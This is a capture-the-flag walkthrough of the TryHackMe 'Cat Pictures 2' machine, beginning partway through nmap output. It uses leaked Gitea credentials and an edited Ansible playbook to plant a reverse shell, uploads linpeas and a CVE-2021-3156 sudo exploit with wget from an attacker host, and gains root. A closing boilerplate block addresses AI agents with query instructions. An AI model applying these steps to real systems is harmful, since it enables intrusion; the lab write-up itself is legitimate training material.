OliveTin

| | |_ \n\t\t\t\tLogs\n\n\n\t\n\n\t\t\n\n\t\tOliveT SF:in\n\t\t\n\t\t\n\n\t\t\n\t\t\n\t\t\ SF:n\t\n\n\t\n\t\t SF:\n\t\t\t\n\t\t\t\tActions\n\t\t\t\tLogs\n\n\n\t\n\t\n\t\x20Gitea:\x20Git\x20with\x20a\x20cup\x20of\x20tea</ SF:title>\n\t<link\x20rel=\"manifest\"\x20href=\"data:application/json;bas SF:e64,eyJuYW1lIjoiR2l0ZWE6IEdpdCB3aXRoIGEgY3VwIG9mIHRlYSIsInNob3J0X25hbWU SF:iOiJHaXRlYTogR2l0IHdpdGggYSBjdXAgb2YgdGVhIiwic3RhcnRfdXJsIjoiaHR0cDovL2 SF:xvY2FsaG9zdDozMDAwLyIsImljb25zIjpbeyJzcmMiOiJodHRwOi")%r(Help,67,"HTTP/ SF:1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charse SF:t=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(HTTPOp SF:tions,1C2,"HTTP/1\.0\x20405\x20Method\x20Not\x20Allowed\r\nCache-Contro SF:l:\x20no-store,\x20no-transform\r\nSet-Cookie:\x20i_like_gitea=dd3b3e4c SF:469357e6;\x20Path=/;\x20HttpOnly;\x20SameSite=Lax\r\nSet-Cookie:\x20_cs SF:rf=pyH7b-ZI4S-G_fKyialQTiNlKx06MTY4ODE0ODg4MDU4ODcwODE5NQ;\x20Path=/;\x SF:20Expires=Sat,\x2001\x20Jul\x202023\x2018:14:40\x20GMT;\x20HttpOnly;\x2 SF:0SameSite=Lax\r\nSet-Cookie:\x20macaron_flash=;\x20Path=/;\x20Max-Age=0 SF:;\x20HttpOnly;\x20SameSite=Lax\r\nX-Frame-Options:\x20SAMEORIGIN\r\nDat SF:e:\x20Fri,\x2030\x20Jun\x202023\x2018:14:40\x20GMT\r\nContent-Length:\x SF:200\r\n\r\n")%r(RTSPRequest,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nC SF:ontent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\ SF:n\r\n400\x20Bad\x20Request"); No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). TCP/IP fingerprint: OS:SCAN(V=7.92%E=4%D=6/30%OT=22%CT=1%CU=35534%PV=Y%DS=2%DC=T%G=Y%TM=649F1BF OS:A%P=x86_64-pc-linux-gnu)SEQ(SP=102%GCD=1%ISR=10A%TI=Z%CI=Z%II=I%TS=A)OPS OS:(O1=M508ST11NW6%O2=M508ST11NW6%O3=M508NNT11NW6%O4=M508ST11NW6%O5=M508ST1 OS:1NW6%O6=M508ST11)WIN(W1=F4B3%W2=F4B3%W3=F4B3%W4=F4B3%W5=F4B3%W6=F4B3)ECN OS:(R=Y%DF=Y%T=40%W=F507%O=M508NNSNW6%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=A OS:S%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R OS:=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F OS:=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N% OS:T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD OS:=S) Network Distance: 2 hops Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE (using port 8888/tcp) HOP RTT ADDRESS 1 22.19 ms 10.8.0.1 2 57.01 ms 10.10.21.51 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 187.76 seconds ┌─[root@edu-virtualbox]─[/home/edu/THM/cat_pictures_2] └──╼ # ``` </details> There are 4 total HTTP ports, and 2 SSH ports. ### Exploring the HTTP servers On port 80, there is a "Lychee" server running, with a few cat pictures on it. <figure><img src="/files/8hVcTHJf55LBHsCzumR0" alt=""><figcaption></figcaption></figure> When you click on the cat image, it shows 7 in total. <figure><img src="/files/POXPezMxGXbCyqMoDFkC" alt=""><figcaption></figcaption></figure> After clicking on one of the buttons, and pressing the "information"-button, it shows a note to self: <figure><img src="/files/1QNG6ycFWvBJ1ykvazSp" alt=""><figcaption></figcaption></figure> "Strip metadata". So let's take a look at the metadata:\ After downloading the first image using `wget`, and running `exiftool` on the image, something interesting shows up: <figure><img src="/files/ew5NFAjccy9NHB2MyTQY" alt=""><figcaption></figcaption></figure> The `Title` header has a link to a text file on port `8080` #### Port 8080 <figure><img src="/files/d0DmFmFN9LzPVog5AdVe" alt=""><figcaption></figcaption></figure> Port 8080 itself only holds an empty `nginx` server, but after visiting the link found in the image, it shows a small note: <figure><img src="/files/Q6lb5T9l6z7VJpYG1SVB" alt=""><figcaption></figcaption></figure> ``` note to self: I setup an internal gitea instance to start using IaC for this server. It's at a quite basic state, but I'm putting the password here because I will definitely forget. This file isn't easy to find anyway unless you have the correct url... gitea: port 3000 user: samarium password: TUmhyZ37CLZrhP ansible runner (olivetin): port 1337 ``` So now we have credentials for one server, and directions to a server on port 1337. On port 3000, there is a Gitea server running: <figure><img src="/files/45RvlydpiRoiEWpguah6" alt=""><figcaption></figcaption></figure> At the top right, there is a sign-in page, which we can use the credentials we found in the note for. After logging into the Gitea server, we see there is an "Ansible" project running. <figure><img src="/files/QcSrK2MWl3YpSNJeN088" alt=""><figcaption></figcaption></figure> After clicking on the `ansible` link, we can see two interesting files; `flag1` and `playbook.yaml`: <figure><img src="/files/oVkQeHHXQm5J5xmIhVjF" alt=""><figcaption></figcaption></figure> After getting the flag from `flag1.txt`, we take a look at `playbook.yaml`: <figure><img src="/files/F20INC7OydsqrlQwTnjb" alt=""><figcaption></figcaption></figure> This playbook runs the `whoami` command on the host system, and it is editable using the pencil button on the top right. We use <https://www.revshells.com/>, with the `python3 #2` reverse shell: <figure><img src="/files/AldQyWecIRQHddUc9fiN" alt=""><figcaption></figcaption></figure> After saving the edits, we open a `netcat` listener on the port entered into `revshells.com` (in my case port 4444): ![](/files/JW7bdzIK6vNlYsFnMm14) we visit the webpage on port `1337`, as instructed by the note. Here, we can see five buttons, with one being `Run Ansible Playbook` <figure><img src="/files/w1P5Z0P8ks0O98HLKgCl" alt=""><figcaption></figcaption></figure> When you press the button, it will run whatever is inside of `playbook.yaml`, so in our case the reverse shell. After waiting around 20 seconds, the listener catches a reverse shell:\ ![](/files/KXDUlMp3cDG8j50Rb8Kb) ### Phase 2 - Exploiting the system First, we stabilize the shell using these lines: ``` # Control-z stty raw -echo fg # Enter export TERM=xterm stty rows 52 cols 238 ``` ![](/files/3NNQs9qgaCS8OFVpWMMe) After running `ls`, we immediately find flag 2: ![](/files/qFfL4RdZWRoeji4KMsrD) Then, we upload `linpeas.sh` using a python3 web server and `wget` : <figure><img src="/files/38aknEiaWQwpm73TgnOh" alt=""><figcaption></figcaption></figure> <figure><img src="/files/sfzaz2Vuh5oZ0QzJLSAn" alt=""><figcaption></figcaption></figure> {% hint style="info" %} Replace the `$IP_ADDRESS with your THM VPN IP address.` {% endhint %} Now that we have the binary on the machine, we run it, piping the standard output to a `log.txt` file, and the errors to `/dev/null`: <figure><img src="/files/5q71M4bNAeJRFm43DPal" alt=""><figcaption></figcaption></figure> After `linpeas.sh` finishes, we check out the log file. At the top of the file, we can see the `sudo` level, which is marked in red: <figure><img src="/files/E1wBUBO72KDj8Ku63HQM" alt=""><figcaption></figcaption></figure> Version `1.8.21p2` is pretty old, so let's see if we can find any exploits online: <figure><img src="/files/YIkS6L8Hi97B6LthMdGg" alt=""><figcaption></figcaption></figure> <figure><img src="/files/AcNw6sYUeLE1gtuGuuYe" alt=""><figcaption></figcaption></figure> The link takes us to a PoC for `CVE-2021-3156`, which we first download to our system: <figure><img src="/files/5T9Se6MpUayDUKEwVjv4" alt=""><figcaption></figcaption></figure> Then we upload it to the target machine using: ``` wget -r HTTP://$IP_ADDRESS:8000/CVE-2021-3156/ ``` Then we follow the instructions on the Github page, running `make` and `./exploit`, and we have root. <figure><img src="/files/v5jwKDWfhnWfAFzwE6TW" alt=""><figcaption></figcaption></figure> --- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://eduw.gitbook.io/writeups/thm-cat-pictures-2.md?ask=<question> ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.